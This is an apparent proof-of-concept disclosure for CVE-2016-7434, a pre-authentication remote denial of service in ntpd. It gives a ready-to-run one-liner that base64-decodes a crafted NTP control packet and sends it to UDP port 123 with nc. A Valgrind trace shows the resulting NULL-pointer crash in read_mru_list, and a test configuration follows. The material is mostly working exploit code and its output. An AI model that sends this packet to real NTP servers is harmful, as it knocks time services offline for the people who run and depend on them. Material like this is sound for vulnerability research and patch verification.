ntpd remote pre-auth DoS (CVE-2016-7434)

poc

echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\                                
| "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123    

Valgrind report

$ sudo valgrind ./ntpd/ntpd -n  -c ~/resources/ntp.conf                                      |
| ==5389== Memcheck, a memory error detector                                                   |
| ==5389== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.                     |
| ==5389== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info                  |
| ==5389== Command: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf                            |
| ==5389==                                                                                     |
| 25 Jun 23:07:05 ntpd[5389]: ntpd 4.2[email protected] Sat Jun 25 20:50:30 UTC 2016 (1): Starting |
| 25 Jun 23:07:05 ntpd[5389]: Command line: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf    |
| 25 Jun 23:07:06 ntpd[5389]: proto: precision = 3.605 usec (-18)                              |
| 25 Jun 23:07:06 ntpd[5389]: switching logging to file /dev/null                              |
| 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 0 ^6wildcard [::]:123                         |
| 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 1 v4wildcard 0.0.0.0:123                      |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 2 lo 127.0.0.1:123                            |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 3 eth0 10.0.1.11:123                          |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 4 eth0:0 1.2.3.4:123                          |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 5 eth9:0 11.11.11.11:123                      |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 6 lo [::1]:123                                |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 7 eth0 [fe80::f2de:f1ff:fe85:75cf%2]:123      |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 8 eth9 [fe80::a450:8eff:fecc:9c4%3]:123       |
| 25 Jun 23:07:06 ntpd[5389]: Listening on routing socket on fd #25 for interface updates      |
| ==5389== Invalid read of size 1                                                              |
| ==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)                                   |
| ==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)                                        |
| ==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)                                  |
| ==5389==    by 0x42BB09: receive (ntp_proto.c:659)                                           |
| ==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)                                              |
| ==5389==    by 0x405A58: main (ntpd.c:392)                                                   |
| ==5389==  Address 0x0 is not stack'd, malloc'd or (recently) free'd                          |
| ==5389==                                                                                     |
| ==5389==                                                                                     |
| ==5389== Process terminating with default action of signal 11 (SIGSEGV)                      |
| ==5389==  Access not within mapped region at address 0x0                                     |
| ==5389==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)                                   |
| ==5389==    by 0x45704D: estrdup_impl (emalloc.c:128)                                        |
| ==5389==    by 0x41AF29: read_mru_list (ntp_control.c:4041)                                  |
| ==5389==    by 0x42BB09: receive (ntp_proto.c:659)                                           |
| ==5389==    by 0x4145CF: ntpdmain (ntpd.c:1329)                                              |
| ==5389==    by 0x405A58: main (ntpd.c:392)                                                   |
| ==5389==  If you believe this happened as a result of a stack                                |
| ==5389==  overflow in your program's main thread (unlikely but                               |
| ==5389==  possible), you can try to increase the size of the                                 |
| ==5389==  main thread stack using the --main-stacksize= flag.                                |
| ==5389==  The main thread stack size used in this run was 204800.                            |
| ==5389==                                                                                     |
| ==5389== HEAP SUMMARY:                                                                       |
| ==5389==     in use at exit: 122,458 bytes in 2,707 blocks                                   |
| ==5389==   total heap usage: 2,875 allocs, 168 frees, 411,190 bytes allocated                |
| ==5389==                                                                                     |
| ==5389== LEAK SUMMARY:                                                                       |
| ==5389==    definitely lost: 0 bytes in 0 blocks                                             |
| ==5389==    indirectly lost: 0 bytes in 0 blocks                                             |
| ==5389==      possibly lost: 2,000 bytes in 2 blocks                                         |
| ==5389==    still reachable: 120,458 bytes in 2,705 blocks                                   |
| ==5389==         suppressed: 0 bytes in 0 blocks                                             |
| ==5389== Rerun with --leak-check=full to see details of leaked memory                        |
| ==5389==                                                                                     |
| ==5389== For counts of detected and suppressed errors, rerun with: ->                        |
| ==5389== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)    

ntp.conf

| server 127.127.1.0 prefer                                                                    |
| fudge  127.127.1.0 stratum 10                                                                |
| driftfile /var/lib/ntp/drift                                                                 |
| broadcastdelay 0.008                                                                         |
|                                                                                              |
| logfile /dev/null                                                                            |
|                                                                                              |
| restrict 127.0.0.1 mask 255.255.255.255 nomodify notrap                                      |